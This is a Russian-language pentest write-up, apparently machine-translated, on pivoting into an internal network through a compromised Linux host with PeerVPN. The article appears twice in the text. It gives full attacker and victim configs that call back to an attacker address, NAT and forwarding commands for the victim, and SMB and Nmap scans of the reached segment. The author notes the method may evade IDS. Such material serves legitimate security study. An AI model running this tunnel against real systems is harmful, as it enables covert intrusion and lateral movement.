PeerVPN — более старое решение для создания VPN, но даже его можно использовать для перехода через внешний скомпрометированный хост.
PeerVPN — старое решение для создания VPN, но даже его можно использовать для перехода через внешний скомпрометированный хост. В этой статье я покажу, как можно использовать PeerVPN для поворота
Caster - Oldschool Passenger
Этот метод пришел мне в голову совершенно случайно и на самом деле не актуален, так как у нас есть более современные решения в виде Nebula, ZeroTier и остальных. Так что эта работа построена только на мотивах творчества.
Возможно, этот метод еще не обнаружен системами IDS и его вполне можно использовать.
Поскольку PeerVPN является легальным программным обеспечением, мы снова имеем дело с понятием «Жизнь за счет земли».
Идея достаточно проста: настройте VPN-сервер на хосте злоумышленника, настройте адресацию внутри сети VPN, затем подключите скомпрометированный хост к VPN-серверу и настройте маршрутизацию NAT для получения доступа к нисходящему сегменту сети (в этом сценарии предполагается, что жертва — скомпрометированный внешний сервер под Linux с двумя интерфейсами)
Этот поворотный вектор может развиваться либо из Интернета, либо непосредственно внутри инфраструктуры, поскольку PeerVPN независим от Интернета.
В этом сценарии я демонстрирую общую концепцию. Он может отличаться от вашего пентест-проекта.
Для начала необходимо скачать PeerVPN, в архиве будет исполняемый файл, поэтому проблем со сборкой не возникнет.
caster@kali:~$ curl -LO https://peervpn.net/files/peervpn-0-044-linux-x86.tar.gz
caster@kali:~$ tar xzvf peervpn*
caster@kali:~$ cd peervpn-0-044/
caster@kali:~/peervpn-0-044$ ls
license.txt peervpn peervpn.conf
caster@kali:~/peervpn-0-044$
Теперь нам нужно подготовиться peervpn.confк тому, чтобы он работал в режиме сервера. Но перед этим нам нужно сгенерировать безопасный секретный ключ.
PeerVPN использует общий ключ, который может содержать до 512 символов, для аутентификации компьютеров в сети. Чтобы гарантировать защиту сетевого трафика, очень важно выбирать надежные значения. Вы можете сгенерировать необходимый ключ, используяopenssl
caster@kali:~/peervpn-0-044$ openssl rand -base64 382 | tr -d '\n' && echo
imv52mEKcNVnv1yDB/kDihQvTJeRZm1GZseH+Tti6GXBF1ngox8q0tF6fNA+bEsylqm6UnfXgYYM3rN2yCXhqUG+OebKCR3EBEhU+vea+ssbYtmw5QGyQERljeLo575kAVZxfxfgkThO5aM3FXHMXM9SLEoDVyxg7hcWoRkKbdIEUjToGL8fyx6puE5C8ZJTDijB0gVdF2OI2MZqPg7wd5yGtSFIfr/PcKSzFkViuZC1AOIRFfcynOUtHMK2L602MB93b54DeN05PPfzuQSyf+qyMzYDZNocIlNtSBe/ZtPem9bp9CPAXXuRbx7rTuJx3Dqm8eoHmM9RNBUegIw0j3uRCC4kmDifiPL5eJgZBBkUlpL560n+YDUdqPBKKTtWCHHGyiB7ANKeWaI2FDR8XyHNny2DrWeEdXkSziGjWqfhNcykqUdir7KJqwcnxoZgFy0GSV2xbW6XsLhFXqs5lo0SguGzrYXhvvXb9w3BA/3fWyT7OBvm8VMW1HR3iw==
Полученный ключ следует сохранить в одном надежном месте. Он будет использоваться как на сервере, так и на клиенте.
Как выглядит конфигурация сервера по умолчанию:
default_peervpn
Конфигурационный файл PeerVPN по умолчанию
default_peervpn.conf
7 КБ
В моем случае настройки будут такими:
networkname Oldschool
psk imv52mEKcNVnv1yDB/kDihQvTJeRZm1GZseH+Tti6GXBF1ngox8q0tF6fNA+bEsylqm6UnfXgYYM3rN2yCXhqUG+OebKCR3EBEhU+vea+ssbYtmw5QGyQERljeLo575kAVZxfxfgkThO5aM3FXHMXM9SLEoDVyxg7hcWoRkKbdIEUjToGL8fyx6puE5C8ZJTDijB0gVdF2OI2MZqPg7wd5yGtSFIfr/PcKSzFkViuZC1AOIRFfcynOUtHMK2L602MB93b54DeN05PPfzuQSyf+qyMzYDZNocIlNtSBe/ZtPem9bp9CPAXXuRbx7rTuJx3Dqm8eoHmM9RNBUegIw0j3uRCC4kmDifiPL5eJgZBBkUlpL560n+YDUdqPBKKTtWCHHGyiB7ANKeWaI2FDR8XyHNny2DrWeEdXkSziGjWqfhNcykqUdir7KJqwcnxoZgFy0GSV2xbW6XsLhFXqs5lo0SguGzrYXhvvXb9w3BA/3fWyT7OBvm8VMW1HR3iw==
enabletunneling yes
interface peervpn0
ifconfig4 10.8.0.1/24
local 0.0.0.0
port 7000
enableipv4 yes
enableipv6 yes
Имя сети: Oldschool
указан PSK.
Активация работы туннеля.
Имя интерфейса: peervpn0
Адрес на интерфейсе — 10.8.0.0.1/24(сетевая адресация 10.8.0.0/24).
Номер порта прослушивателя: 7000
включить IPv4 и IPv6.
Теперь настройка на стороне сервера завершена и сервер можно запустить:
caster@kali:~/peervpn-0-044$ sudo ./peervpn peervpn.conf
PeerVPN v0.044
(c)2016 Tobias Volk <[email protected]>
opening sockets...
IPv4/UDP: ok.
IPv6/UDP: failed.
opening TAP device...
device "peervpn0": ok.
done.
preparing P2P engine...
done.
Client ID: BD4ACA60746205475B90FB2A8FD8675425F12FC5DCA2C7FC055A1ABDDE6FA79C
Network ID: A80FC5BA1BFA53886F80A3877A88C3FB12703BD76575EE1C777004DB96DC1CDF
entering main loop...
[0] 0 peers connected.
3: ens36: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:b7:41:da brd ff:ff:ff:ff:ff:ff
altname enp2s4
inet 172.16.200.130/24 brd 172.16.200.255 scope global dynamic ens36
valid_lft 1042sec preferred_lft 1042sec
Идентичная ситуация. Скачайте PeerVPN, подготовьте peervpn.conf, подключитесь к серверу, настройте NAT. Подробных комментариев дать не могу, перейдем сразу к настройке.
Только конфигурация для клиента будет выглядеть немного иначе:
networkname Oldschool
psk imv52mEKcNVnv1yDB/kDihQvTJeRZm1GZseH+Tti6GXBF1ngox8q0tF6fNA+bEsylqm6UnfXgYYM3rN2yCXhqUG+OebKCR3EBEhU+vea+ssbYtmw5QGyQERljeLo575kAVZxfxfgkThO5aM3FXHMXM9SLEoDVyxg7hcWoRkKbdIEUjToGL8fyx6puE5C8ZJTDijB0gVdF2OI2MZqPg7wd5yGtSFIfr/PcKSzFkViuZC1AOIRFfcynOUtHMK2L602MB93b54DeN05PPfzuQSyf+qyMzYDZNocIlNtSBe/ZtPem9bp9CPAXXuRbx7rTuJx3Dqm8eoHmM9RNBUegIw0j3uRCC4kmDifiPL5eJgZBBkUlpL560n+YDUdqPBKKTtWCHHGyiB7ANKeWaI2FDR8XyHNny2DrWeEdXkSziGjWqfhNcykqUdir7KJqwcnxoZgFy0GSV2xbW6XsLhFXqs5lo0SguGzrYXhvvXb9w3BA/3fWyT7OBvm8VMW1HR3iw==
initpeers <attacker_addr> 7000
enabletunneling yes
interface peervpn0
ifconfig4 10.8.0.2/24
enableipv4 yes
enableipv6 yes
Затем запустим peervpnна взломанной машине:
compromised@compromised:~# ./peervpn peervpn.conf
PeerVPN v0.044
(c)2016 Tobias Volk <[email protected]>
opening sockets...
IPv4/UDP: ok.
IPv6/UDP: ok.
opening TAP device...
device "peervpn0": ok.
done.
preparing P2P engine...
done.
Client ID: 3EB5DEA06669C943B1DDE89822A26588418E143B66152EFFBE9CE879596E5BE1
Network ID: A80FC5BA1BFA53886F80A3877A88C3FB12703BD76575EE1C777004DB96DC1CDF
entering main loop...
[0] 0 peers connected.
[0] resolving <attacker_addr>:7000...
done.
[12] 1 peers connected.
caster@kali:~/peervpn-0-044$ sudo ./peervpn peervpn.conf
PeerVPN v0.044
(c)2016 Tobias Volk <[email protected]>
opening sockets...
IPv4/UDP: ok.
IPv6/UDP: failed.
opening TAP device...
device "peervpn0": ok.
done.
preparing P2P engine...
done.
Client ID: BD4ACA60746205475B90FB2A8FD8675425F12FC5DCA2C7FC055A1ABDDE6FA79C
Network ID: A80FC5BA1BFA53886F80A3877A88C3FB12703BD76575EE1C777004DB96DC1CDF
entering main loop...
[0] 0 peers connected.
[716] 1 peers connected.
4: peervpn0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
link/ether b2:b2:13:e1:dd:d7 brd ff:ff:ff:ff:ff:ff
inet 10.8.0.1/24 brd 10.8.0.255 scope global peervpn0
valid_lft forever preferred_lft forever
inet6 fe80::ec66:a6ff:fefe:dc13/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
Скомпрометированный хост-интерфейс:
4: peervpn0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
link/ether b2:b2:13:e1:dd:d7 brd ff:ff:ff:ff:ff:ff
inet 10.8.0.2/24 brd 10.8.0.255 scope global peervpn0
valid_lft forever preferred_lft forever
inet6 fe80::b0b2:13ff:fee1:ddd7/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
Пинг-попытки:
caster@kali:~/peervpn-0-044$ ping 10.8.0.2
PING 10.8.0.2 (10.8.0.2) 56(84) bytes of data.
64 bytes from 10.8.0.2: icmp_seq=1 ttl=64 time=0.472 ms
64 bytes from 10.8.0.2: icmp_seq=2 ttl=64 time=1.03 ms
64 bytes from 10.8.0.2: icmp_seq=3 ttl=64 time=0.501 ms
64 bytes from 10.8.0.2: icmp_seq=4 ttl=64 time=0.680 ms
64 bytes from 10.8.0.2: icmp_seq=5 ttl=64 time=0.933 ms
64 bytes from 10.8.0.2: icmp_seq=6 ttl=64 time=0.610 ms
^C
--- 10.8.0.2 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5066ms
rtt min/avg/max/mdev = 0.472/0.703/1.025/0.208 ms
Ранее злоумышленник узнал, что за скомпрометированным хостом находится 172.16.200.0/24сеть, через которую его необходимо маршрутизировать 10.8.0.2— адрес скомпрометированной машины внутри сети PeerVPN.
caster@kali:~/peervpn-0-044$ sudo route add -net 172.16.200.0 netmask 255.255.255.0 gw 10.8.0.2
Но этого недостаточно. На скомпрометированном хосте необходимо настроить правило NAT, которое маскирует трафик из сети PeerVPN в 172.16.200.0/24сеть. Также самое главное не забыть включить маршрутизацию на хосте.
compromised@compromised:~# sysctl -w net.ipv4.ip_forward=1
compromised@compromised:~# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o ens36 -j MASQUERADE
Теперь злоумышленник сможет взаимодействовать с 172.16.200.0/24сетью через скомпрометированный хост.
(NetExec) caster@kali:~/NetExec$ NetExec smb 172.16.200.0/24
SMB 172.16.200.134 445 HALFFACE [*] Windows 10 / Server 2019 Build 19041 x64 (name:HALFFACE) (domain:HalfFace) (signing:False) (SMBv1:False)
SMB 172.16.200.131 445 TALKTOME [*] Windows 10 / Server 2019 Build 19041 x64 (name:TALKTOME) (domain:TalkToMe) (signing:False) (SMBv1:False)
SMB 172.16.200.132 445 EMBRACE [*] Windows 10 / Server 2019 Build 19041 x64 (name:EMBRACE) (domain:Embrace) (signing:False) (SMBv1:False)
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
Нмап:
caster@kali:~$ sudo nmap -Pn -sS -n -p 22,445,23 172.16.200.0/24 --min-rate=5000 -oA init-enumeration
caster@kali:~$ grep open init-enumeration.gnmap
Host: 172.16.200.130 () Ports: 22/open/tcp//ssh///, 23/closed/tcp//telnet///, 445/closed/tcp//microsoft-ds///
Host: 172.16.200.132 () Ports: 22/open/tcp//ssh///, 23/filtered/tcp//telnet///, 445/open/tcp//microsoft-ds///
Host: 172.16.200.137 () Ports: 22/open/tcp//ssh///, 23/open/tcp//telnet///, 445/closed/tcp//microsoft-ds///
Host: 172.16.200.138 () Ports: 22/open/tcp//ssh///, 23/closed/tcp//telnet///, 445/closed/tcp//microsoft-ds///
Я использовал NetExec и Nmap
Злоумышленник (VPN-сервер):192.168.1.183
Жертва (VPN-клиент):192.168.1.185
образец старой школы-пассажира
oldschool-пассажир-sample.pcap
593 КБ
Я снова использовал что-то вроде концепции «Жизнь за счет земли», поскольку PeerVPN является законным программным обеспечением.
PeerVPN — старое решение для создания VPN, но даже его можно использовать для перехода через внешний скомпрометированный хост. В этой статье я покажу, как можно использовать PeerVPN для поворота
Caster - Oldschool Passenger
вступление
Есть еще один метод разворота с использованием старой программы PeerVPN . Идея довольно проста: настройте VPN-сервер, подключите к нему скомпрометированный хост, затем настройте маршрутизацию и NAT. При этом PeerVPN использует инкапсуляцию UDP вместе с протоколом RX для более устойчивого соединения. Таким образом, вся связь между VPN-сервером и VPN-клиентом будет осуществляться на уровне UDP.Этот метод пришел мне в голову совершенно случайно и на самом деле не актуален, так как у нас есть более современные решения в виде Nebula, ZeroTier и остальных. Так что эта работа построена только на мотивах творчества.
Возможно, этот метод еще не обнаружен системами IDS и его вполне можно использовать.
Поскольку PeerVPN является легальным программным обеспечением, мы снова имеем дело с понятием «Жизнь за счет земли».
Отказ от ответственности
Статья носит ознакомительный характер и предназначена для специалистов в области безопасности, проводящих тестирование по контракту. Автор и редакция не несут ответственности за любой вред, причиненный использованием представленной информации. Распространение вредоносного ПО, нарушение работы систем и нарушение тайны переписки будут преследоваться по закону.Сценарий
Идея достаточно проста: настройте VPN-сервер на хосте злоумышленника, настройте адресацию внутри сети VPN, затем подключите скомпрометированный хост к VPN-серверу и настройте маршрутизацию NAT для получения доступа к нисходящему сегменту сети (в этом сценарии предполагается, что жертва — скомпрометированный внешний сервер под Linux с двумя интерфейсами)
Этот поворотный вектор может развиваться либо из Интернета, либо непосредственно внутри инфраструктуры, поскольку PeerVPN независим от Интернета.
В этом сценарии я демонстрирую общую концепцию. Он может отличаться от вашего пентест-проекта.
Настройка PeerVPN на стороне злоумышленника
PeerVPN очень старый, последняя версия вышла еще в 2016 году, но тем не менее он будет работать.Для начала необходимо скачать PeerVPN, в архиве будет исполняемый файл, поэтому проблем со сборкой не возникнет.
caster@kali:~$ curl -LO https://peervpn.net/files/peervpn-0-044-linux-x86.tar.gz
caster@kali:~$ tar xzvf peervpn*
caster@kali:~$ cd peervpn-0-044/
caster@kali:~/peervpn-0-044$ ls
license.txt peervpn peervpn.conf
caster@kali:~/peervpn-0-044$
Теперь нам нужно подготовиться peervpn.confк тому, чтобы он работал в режиме сервера. Но перед этим нам нужно сгенерировать безопасный секретный ключ.
PeerVPN использует общий ключ, который может содержать до 512 символов, для аутентификации компьютеров в сети. Чтобы гарантировать защиту сетевого трафика, очень важно выбирать надежные значения. Вы можете сгенерировать необходимый ключ, используяopenssl
caster@kali:~/peervpn-0-044$ openssl rand -base64 382 | tr -d '\n' && echo
imv52mEKcNVnv1yDB/kDihQvTJeRZm1GZseH+Tti6GXBF1ngox8q0tF6fNA+bEsylqm6UnfXgYYM3rN2yCXhqUG+OebKCR3EBEhU+vea+ssbYtmw5QGyQERljeLo575kAVZxfxfgkThO5aM3FXHMXM9SLEoDVyxg7hcWoRkKbdIEUjToGL8fyx6puE5C8ZJTDijB0gVdF2OI2MZqPg7wd5yGtSFIfr/PcKSzFkViuZC1AOIRFfcynOUtHMK2L602MB93b54DeN05PPfzuQSyf+qyMzYDZNocIlNtSBe/ZtPem9bp9CPAXXuRbx7rTuJx3Dqm8eoHmM9RNBUegIw0j3uRCC4kmDifiPL5eJgZBBkUlpL560n+YDUdqPBKKTtWCHHGyiB7ANKeWaI2FDR8XyHNny2DrWeEdXkSziGjWqfhNcykqUdir7KJqwcnxoZgFy0GSV2xbW6XsLhFXqs5lo0SguGzrYXhvvXb9w3BA/3fWyT7OBvm8VMW1HR3iw==
Полученный ключ следует сохранить в одном надежном месте. Он будет использоваться как на сервере, так и на клиенте.
Конфигурационный файл
Теперь вам нужно настроить серверную часть. В общем, ничего сложного. Укажите networkname, psk, номер порта, активируйте туннельный режим и interface nameадресацию внутри сети VPN.Как выглядит конфигурация сервера по умолчанию:
default_peervpn
Конфигурационный файл PeerVPN по умолчанию
default_peervpn.conf
7 КБ
В моем случае настройки будут такими:
networkname Oldschool
psk imv52mEKcNVnv1yDB/kDihQvTJeRZm1GZseH+Tti6GXBF1ngox8q0tF6fNA+bEsylqm6UnfXgYYM3rN2yCXhqUG+OebKCR3EBEhU+vea+ssbYtmw5QGyQERljeLo575kAVZxfxfgkThO5aM3FXHMXM9SLEoDVyxg7hcWoRkKbdIEUjToGL8fyx6puE5C8ZJTDijB0gVdF2OI2MZqPg7wd5yGtSFIfr/PcKSzFkViuZC1AOIRFfcynOUtHMK2L602MB93b54DeN05PPfzuQSyf+qyMzYDZNocIlNtSBe/ZtPem9bp9CPAXXuRbx7rTuJx3Dqm8eoHmM9RNBUegIw0j3uRCC4kmDifiPL5eJgZBBkUlpL560n+YDUdqPBKKTtWCHHGyiB7ANKeWaI2FDR8XyHNny2DrWeEdXkSziGjWqfhNcykqUdir7KJqwcnxoZgFy0GSV2xbW6XsLhFXqs5lo0SguGzrYXhvvXb9w3BA/3fWyT7OBvm8VMW1HR3iw==
enabletunneling yes
interface peervpn0
ifconfig4 10.8.0.1/24
local 0.0.0.0
port 7000
enableipv4 yes
enableipv6 yes
Имя сети: Oldschool
указан PSK.
Активация работы туннеля.
Имя интерфейса: peervpn0
Адрес на интерфейсе — 10.8.0.0.1/24(сетевая адресация 10.8.0.0/24).
Номер порта прослушивателя: 7000
включить IPv4 и IPv6.
Теперь настройка на стороне сервера завершена и сервер можно запустить:
caster@kali:~/peervpn-0-044$ sudo ./peervpn peervpn.conf
PeerVPN v0.044
(c)2016 Tobias Volk <[email protected]>
opening sockets...
IPv4/UDP: ok.
IPv6/UDP: failed.
opening TAP device...
device "peervpn0": ok.
done.
preparing P2P engine...
done.
Client ID: BD4ACA60746205475B90FB2A8FD8675425F12FC5DCA2C7FC055A1ABDDE6FA79C
Network ID: A80FC5BA1BFA53886F80A3877A88C3FB12703BD76575EE1C777004DB96DC1CDF
entering main loop...
[0] 0 peers connected.
Скомпрометированный хост
Исследуя интерфейсы мы понимаем, что есть ens36сеть 172.16.200.0/24, к которой в моем сценарии получит доступ злоумышленник. Но я забегаю немного вперед.3: ens36: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:b7:41:da brd ff:ff:ff:ff:ff:ff
altname enp2s4
inet 172.16.200.130/24 brd 172.16.200.255 scope global dynamic ens36
valid_lft 1042sec preferred_lft 1042sec
Идентичная ситуация. Скачайте PeerVPN, подготовьте peervpn.conf, подключитесь к серверу, настройте NAT. Подробных комментариев дать не могу, перейдем сразу к настройке.
Только конфигурация для клиента будет выглядеть немного иначе:
networkname Oldschool
psk imv52mEKcNVnv1yDB/kDihQvTJeRZm1GZseH+Tti6GXBF1ngox8q0tF6fNA+bEsylqm6UnfXgYYM3rN2yCXhqUG+OebKCR3EBEhU+vea+ssbYtmw5QGyQERljeLo575kAVZxfxfgkThO5aM3FXHMXM9SLEoDVyxg7hcWoRkKbdIEUjToGL8fyx6puE5C8ZJTDijB0gVdF2OI2MZqPg7wd5yGtSFIfr/PcKSzFkViuZC1AOIRFfcynOUtHMK2L602MB93b54DeN05PPfzuQSyf+qyMzYDZNocIlNtSBe/ZtPem9bp9CPAXXuRbx7rTuJx3Dqm8eoHmM9RNBUegIw0j3uRCC4kmDifiPL5eJgZBBkUlpL560n+YDUdqPBKKTtWCHHGyiB7ANKeWaI2FDR8XyHNny2DrWeEdXkSziGjWqfhNcykqUdir7KJqwcnxoZgFy0GSV2xbW6XsLhFXqs5lo0SguGzrYXhvvXb9w3BA/3fWyT7OBvm8VMW1HR3iw==
initpeers <attacker_addr> 7000
enabletunneling yes
interface peervpn0
ifconfig4 10.8.0.2/24
enableipv4 yes
enableipv6 yes
Затем запустим peervpnна взломанной машине:
compromised@compromised:~# ./peervpn peervpn.conf
PeerVPN v0.044
(c)2016 Tobias Volk <[email protected]>
opening sockets...
IPv4/UDP: ok.
IPv6/UDP: ok.
opening TAP device...
device "peervpn0": ok.
done.
preparing P2P engine...
done.
Client ID: 3EB5DEA06669C943B1DDE89822A26588418E143B66152EFFBE9CE879596E5BE1
Network ID: A80FC5BA1BFA53886F80A3877A88C3FB12703BD76575EE1C777004DB96DC1CDF
entering main loop...
[0] 0 peers connected.
[0] resolving <attacker_addr>:7000...
done.
[12] 1 peers connected.
Тем временем на стороне нападающего:В этой статье я скрываю реальный адрес моего VPS, который в данном сценарии выступает в роли атакующей машины.
caster@kali:~/peervpn-0-044$ sudo ./peervpn peervpn.conf
PeerVPN v0.044
(c)2016 Tobias Volk <[email protected]>
opening sockets...
IPv4/UDP: ok.
IPv6/UDP: failed.
opening TAP device...
device "peervpn0": ok.
done.
preparing P2P engine...
done.
Client ID: BD4ACA60746205475B90FB2A8FD8675425F12FC5DCA2C7FC055A1ABDDE6FA79C
Network ID: A80FC5BA1BFA53886F80A3877A88C3FB12703BD76575EE1C777004DB96DC1CDF
entering main loop...
[0] 0 peers connected.
[716] 1 peers connected.
Маршрутизация/NAT
Интерфейс злоумышленника:4: peervpn0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
link/ether b2:b2:13:e1:dd:d7 brd ff:ff:ff:ff:ff:ff
inet 10.8.0.1/24 brd 10.8.0.255 scope global peervpn0
valid_lft forever preferred_lft forever
inet6 fe80::ec66:a6ff:fefe:dc13/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
Скомпрометированный хост-интерфейс:
4: peervpn0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
link/ether b2:b2:13:e1:dd:d7 brd ff:ff:ff:ff:ff:ff
inet 10.8.0.2/24 brd 10.8.0.255 scope global peervpn0
valid_lft forever preferred_lft forever
inet6 fe80::b0b2:13ff:fee1:ddd7/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
Пинг-попытки:
caster@kali:~/peervpn-0-044$ ping 10.8.0.2
PING 10.8.0.2 (10.8.0.2) 56(84) bytes of data.
64 bytes from 10.8.0.2: icmp_seq=1 ttl=64 time=0.472 ms
64 bytes from 10.8.0.2: icmp_seq=2 ttl=64 time=1.03 ms
64 bytes from 10.8.0.2: icmp_seq=3 ttl=64 time=0.501 ms
64 bytes from 10.8.0.2: icmp_seq=4 ttl=64 time=0.680 ms
64 bytes from 10.8.0.2: icmp_seq=5 ttl=64 time=0.933 ms
64 bytes from 10.8.0.2: icmp_seq=6 ttl=64 time=0.610 ms
^C
--- 10.8.0.2 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5066ms
rtt min/avg/max/mdev = 0.472/0.703/1.025/0.208 ms
Ранее злоумышленник узнал, что за скомпрометированным хостом находится 172.16.200.0/24сеть, через которую его необходимо маршрутизировать 10.8.0.2— адрес скомпрометированной машины внутри сети PeerVPN.
caster@kali:~/peervpn-0-044$ sudo route add -net 172.16.200.0 netmask 255.255.255.0 gw 10.8.0.2
Но этого недостаточно. На скомпрометированном хосте необходимо настроить правило NAT, которое маскирует трафик из сети PeerVPN в 172.16.200.0/24сеть. Также самое главное не забыть включить маршрутизацию на хосте.
compromised@compromised:~# sysctl -w net.ipv4.ip_forward=1
compromised@compromised:~# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o ens36 -j MASQUERADE
Теперь злоумышленник сможет взаимодействовать с 172.16.200.0/24сетью через скомпрометированный хост.
Влияние
НетЭксек:(NetExec) caster@kali:~/NetExec$ NetExec smb 172.16.200.0/24
SMB 172.16.200.134 445 HALFFACE [*] Windows 10 / Server 2019 Build 19041 x64 (name:HALFFACE) (domain:HalfFace) (signing:False) (SMBv1:False)
SMB 172.16.200.131 445 TALKTOME [*] Windows 10 / Server 2019 Build 19041 x64 (name:TALKTOME) (domain:TalkToMe) (signing:False) (SMBv1:False)
SMB 172.16.200.132 445 EMBRACE [*] Windows 10 / Server 2019 Build 19041 x64 (name:EMBRACE) (domain:Embrace) (signing:False) (SMBv1:False)
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
Нмап:
caster@kali:~$ sudo nmap -Pn -sS -n -p 22,445,23 172.16.200.0/24 --min-rate=5000 -oA init-enumeration
caster@kali:~$ grep open init-enumeration.gnmap
Host: 172.16.200.130 () Ports: 22/open/tcp//ssh///, 23/closed/tcp//telnet///, 445/closed/tcp//microsoft-ds///
Host: 172.16.200.132 () Ports: 22/open/tcp//ssh///, 23/filtered/tcp//telnet///, 445/open/tcp//microsoft-ds///
Host: 172.16.200.137 () Ports: 22/open/tcp//ssh///, 23/open/tcp//telnet///, 445/closed/tcp//microsoft-ds///
Host: 172.16.200.138 () Ports: 22/open/tcp//ssh///, 23/closed/tcp//telnet///, 445/closed/tcp//microsoft-ds///
Образцы
В своей внутренней инфраструктуре я экспериментировал на своих виртуальных машинах. Сохраняйте образцы трафика, все инкапсулировано в UDP с участием RX.Я использовал NetExec и Nmap
Злоумышленник (VPN-сервер):192.168.1.183
Жертва (VPN-клиент):192.168.1.185
образец старой школы-пассажира
oldschool-пассажир-sample.pcap
593 КБ
Другой
Используя старое решение, такое как PeerVPN, я продемонстрировал метод разворота туннелей, который может быть полезен в случае взлома внешней инфраструктуры.Я снова использовал что-то вроде концепции «Жизнь за счет земли», поскольку PeerVPN является законным программным обеспечением.